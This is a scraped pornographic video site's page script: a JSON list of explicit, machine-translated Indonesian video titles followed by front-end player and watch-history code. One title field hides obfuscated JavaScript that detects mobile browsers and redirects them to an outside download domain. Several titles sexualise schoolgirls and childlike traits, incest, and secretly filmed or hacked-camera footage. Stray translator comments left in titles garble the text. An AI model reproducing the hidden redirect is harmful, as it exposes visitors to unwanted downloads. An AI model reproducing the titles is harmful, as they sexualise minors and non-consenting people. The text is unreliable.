Wanita yang ramah dan berpakaian seperti pria itu adalah wanita murahan, selalu siap mengajakmu berkencan di luar toko! Awalnya aku berencana untuk... (Bagian teks selanjutnya tampaknya tidak berhubungan dan mungkin merupakan omong kosong yang dihasilkan mesin.)
Siswa idola yang dirumorkan adalah pelacur jahat yang menggoda pria tua dengan puting mesum dan pantat besar. Arisu Mai (Arisu Mai) デジタルアーク","lastmod":"2026-07-11","duration":"02:28:10","url":"/play/19166630.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZTk5MjU2ODJlNjk5MDY3ZTVmNjllOTJkNzFhYzRjZDkuanBn.cache","vod_id":19149551,"title":"Unpai Company mempersembahkan! Debut AV Ulang Tahun ke-4!! Kunjungan kejutan ke rumah penggemar, jika Anda sanggup, berikan layanan erotis MIDA-513","lastmod":"2026-03-22","duration":"03:25:36","url":"/play/19149551.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MjgvNzU3N2IwNDA1NTQ3MzA1Y2UxM2IxMmVkMjQzOTMxMzguanBn.cache","vod_id":19054834,"title":"Saat saya menelepon layanan kesehatan pengiriman, saya bertemu dengan seorang pegawai toko Bento yang cantik. (Bagian terakhir, \"Mei Lingzi DLDSS374,\" tampaknya merupakan komentar terpisah yang tidak terkait dan dibiarkan tanpa diterjemahkan.)","lastmod":"2025-09-27","duration":"02:00:11","url":"/play/19054834.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTE0ZTVmNzI2MTg3NTI1ZjM2ZTBhMDVhOTJmYTA0MDQuanBn.cache","vod_id":18988985,"title":"326EVA-091 Kami bertemu Ichigo (21 tahun) di tepi kolam renang saat dia bermain dengan teman-temannya! Dia terlihat imut dan lembut, tapi sebenarnya dia seorang pramuria! Dia punya pacar, tapi dia selalu ingin berhubungan seks denganmu! Kami dengan cepat mengungkap sisi super seksinya, haha.","lastmod":"2025-12-14","duration":"01:08:54","url":"/play/18988985.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZWIwMTI4MDFiZWM4NDJhMmEzMDhjNjIxZjU0MmU0MDYuanBn.cache","vod_id":18950942,"title":"[Subtitle Bahasa Mandarin] GDTM-196 (Payudara Alami Ukuran G! Payudara Indah) (Kecantikan yang Lembut dan Baik Hati) (Dia tampak lembut, tetapi sebenarnya seorang masokis yang menyukai seks, sehingga wajahnya disiram sperma!) Minami Miura","lastmod":"2025-12-14","duration":"02:11:33","url":"/play/18950942.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvZDY3MDBmYTM1N2U4NGIxY2QxOTg5MDU1ZTZiY2MwY2QuanBn.cache","vod_id":19157838,"title":"Wanita berpayudara kecil dengan puting yang menegang!! 10 orang dengan kehidupan seks yang sangat sensitif dan menggairahkan. (Edo-EDO)","lastmod":"2026-05-13","duration":"03:59:49","url":"/play/19157838.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTZkNzE0YTgwNTU4YzkxNGQxYzAwMzE3ZGZhMDYxOWIuanBn.cache","vod_id":18994888,"title":"[Pengkodean Definisi Tinggi] 326FCT-052 Seorang gadis muda yang murni, lembut, dan penuh gairah, memancarkan pesona kepolosan kekanak-kanakan yang luar biasa!! ...Tapi sebenarnya dia adalah gadis mesum dengan payudara yang terlalu besar.","lastmod":"2025-03-23","duration":"01:27:04","url":"/play/18994888.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODlkNzc5NjM0OGZhNTQ5MDEzY2I5ZjY2ZDdmM2M3Y2IuanBn.cache","vod_id":19005434,"title":"MIDV-388-C Hanya kita berdua, saling mencintai seperti biasa! ? Kencan vagina yang mengasyikkan: Jika kamu membuatnya jatuh cinta padamu, kalian bisa melakukan seks ejakulasi internal yang primal.","lastmod":"2025-03-23","duration":"01:57:54","url":"/play/19005434.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTY1ZmU4NDdhYjA0OTcxYzI1Njk4OGU5ZjljYWRiNTUuanBn.cache","vod_id":19012683,"title":"#2 Diedit oleh Yayoi Tachibana.","lastmod":"2025-03-24","duration":"29:11","url":"/play/19012683.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2I1YzU1NWZhYTc5MzZmYmQ0Mjk0ZDFjMmRlNWIwMTQuanBn.cache","vod_id":18976203,"title":"GOAL-071 Kencan Ekstrem Gadis Berpayudara Besar yang Suka Pamer di Luar Ruangan - 11 Jam Terbaik","lastmod":"2025-12-14","duration":"05:25:00","url":"/play/18976203.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNWY5NWVkMWNhYTQ2YmI2ZDIyM2M1YzVhM2MzZDBkODQuanBn.cache","vod_id":18991848,"title":"Sambil berbaring, adikku menjilat dan menghisap vaginaku yang lembut, memberikan layanan erotis selangkah demi selangkah untuk membuatmu merasa nyaman.","lastmod":"2025-12-14","duration":"13:46","url":"/play/18991848.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzg2YTI1ZmU3MzllMTYxNmVmMzUxNjNhMzhjNDhjNDQuanBn.cache","vod_id":19025232,"title":"Seorang kakak laki-laki menyuruh adik perempuannya melakukan layanan untuk para penggemar, dan merekam prosesnya sendiri; dia mahir dalam segala hal, mulai dari menyemburkan cairan dan melakukan seks oral hingga seks penetrasi.","lastmod":"2025-03-24","duration":"21:40","url":"/play/19025232.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZjYwZDg3OWFlMWUxNmY4MmFjZmUwMzZjN2NkMGY3ZTUuanBn.cache","vod_id":19138897,"title":"Madou - Jasa Pijat Kaki dan Layanan Seksual dengan Biaya Tambahan untuk Melayaninya dengan Vagina - Yuan Ziyi","lastmod":"2026-01-17","duration":"32:18","url":"/play/19138897.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDBmYmY3ZGU1NzZhYWUwZWZhNzBiYmQ4OGUxZWY0YTkuanBn.cache","vod_id":18974839,"title":"FC2PPV 3347875 [Tidak Ada] [Gonzo 390] Seorang resepsionis bank bertubuh besar dengan vulva yang sangat sensitif ternyata seorang mesum! Payudara super besar dan sosok ramping","lastmod":"2025-03-23","duration":"01:19:31","url":"/play/18974839.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MTAvZDAwNjA4Yzg1YjgyZWJjNmU5OWI5NTc0NWQ3ZTlhOTEuanBn.cache","vod_id":19037668,"title":"765ORECS-069 Aku mengundang seorang siswi cantik berseragam yang sangat ingin kurayu ke rumahku dan diam-diam merekamnya! [Seorang siswi nakal dengan bokong montok]","lastmod":"2025-06-10","duration":"01:54:00","url":"/play/19037668.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMDQvZGIzY2ZlNDJlOTFkMTVkMjY0NWVlYzQ0ZThhMTJiYzguanBn.cache","vod_id":19055922,"title":"[4K] Memanjakan penis besar kakaknya!! Godaan terhebat bagi adik perempuan yang tidak curiga!! Pelacur kelinci transparan, siapa yang bisa menandingi ketelanjangan? Aya Kona Umi MADV570","lastmod":"2025-10-03","duration":"02:10:06","url":"/play/19055922.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzdjYjQxOGRiYTg3NDI5M2JkOTcyZjM0MDA4YzE5NzcuanBn.cache","vod_id":18937785,"title":"MGDN-096_B Sebuah film dokumenter berdurasi 240 menit yang menggambarkan 20 wanita yang merayu para profesional yang sedang bekerja untuk melakukan tindakan tidak senonoh.","lastmod":"2025-03-22","duration":"01:58:58","url":"/play/18937785.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMzYwNzZhZjQxODk2YjRhZTg4OGIxNmIwMWE1M2ZlNTAuanBn.cache","vod_id":19164443,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}“Biarkan aku hamil…Paman-paman…” Paman-pamanku bermain-main dengan payudaraku yang bengkak…Aku adalah wanita yang suka bergaul bebas dan hamil. Minami Tsubasa Orola Project Annex","lastmod":"2026-07-11","duration":"02:14:09","url":"/play/19164443.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjcyMDQzMjMwZmU2NTY0YTFmZGViYzRlYmQ1ZDBiNTUuanBn.cache","vod_id":18935411,"title":"Seorang terapis pijat wanita cantik di sebuah pemandian umum di Guangdong menawarkan paket layanan lengkap seharga 850 yuan. Dia sangat terampil dan menawarkan berbagai teknik. Setelah layanan di atas kasur air, dia dibawa ke tempat tidur untuk berhubungan seks, dan mereka melakukannya dua kali berturut-turut!","lastmod":"2025-03-22","duration":"01:50:48","url":"/play/18935411.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZWU1ZmU1MmFjMDI4MGJkODk2NDUzZDk3MDgxNjIxYTMuanBn.cache","vod_id":18965426,"title":"“Peretasan pengawasan ✅ Bocoran nyata” Beberapa wanita cantik di sebuah desa perkotaan menyewa sebuah bungalow dan mengubahnya menjadi rumah bordil untuk menyediakan layanan makanan cepat saji. Mereka memiliki klien dari segala usia, dan bisnis mereka berkembang pesat karena paras mereka yang menarik. (2)","lastmod":"2025-03-22","duration":"00:09:08","url":"/play/18965426.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTcwNzM0ODI1ZWZmNWUyZjA3MTE2YzExZmU1ODM3OGIuanBn.cache","vod_id":18936842,"title":"Pada tanggal 1 September, seorang pria baru bernama Feng Ge bertemu dengan seorang wanita cantik yang bekerja paruh waktu di sebuah hotel. Wanita itu cukup baik dan berpenampilan manis. Satu-satunya kekurangannya adalah pencahayaannya agak redup.","lastmod":"2025-12-14","duration":"00:28:44","url":"/play/18936842.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNGYxMGExMTI2YzFjMzY3OGUzNDMwOWVjYjg3ZDJlNWUuanBn.cache","vod_id":18949960,"title":"SOE-972 Bang Bang Brothel NO.1 Layanan Khusus Pilihan 4 Jam - Yumeno Aika","lastmod":"2025-12-14","duration":"01:52:33","url":"/play/18949960.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDBhMmMzZGIxYTM4ZjBmMTI5ZmNmMWE0ODEzZmEyYTIuanBn.cache","vod_id":19010914,"title":"MIZD160 30 Rahasia: Layanan Seksual Ekstrem Terbaik di Toko Bebas Seks...","lastmod":"2025-03-24","duration":"03:58:50","url":"/play/19010914.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODZjMDU2OTc0OThmYjgyNGM3ZDk1ODMyNWY1ZGY5NTcuanBn.cache","vod_id":19012812,"title":"NACR308 Saya ingin anak tiri saya mengakui bahwa saya adalah seorang ibu... Maho Kanno (inses).","lastmod":"2025-03-24","duration":"02:00:07","url":"/play/19012812.html"}]},
videoTitle: 'Wanita yang ramah dan berpakaian seperti pria itu adalah wanita murahan, selalu siap mengajakmu berkencan di luar toko! Awalnya aku berencana untuk... (Bagian teks selanjutnya tampaknya tidak berhubungan dan mungkin merupakan omong kosong yang dihasilkan mesin.)',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}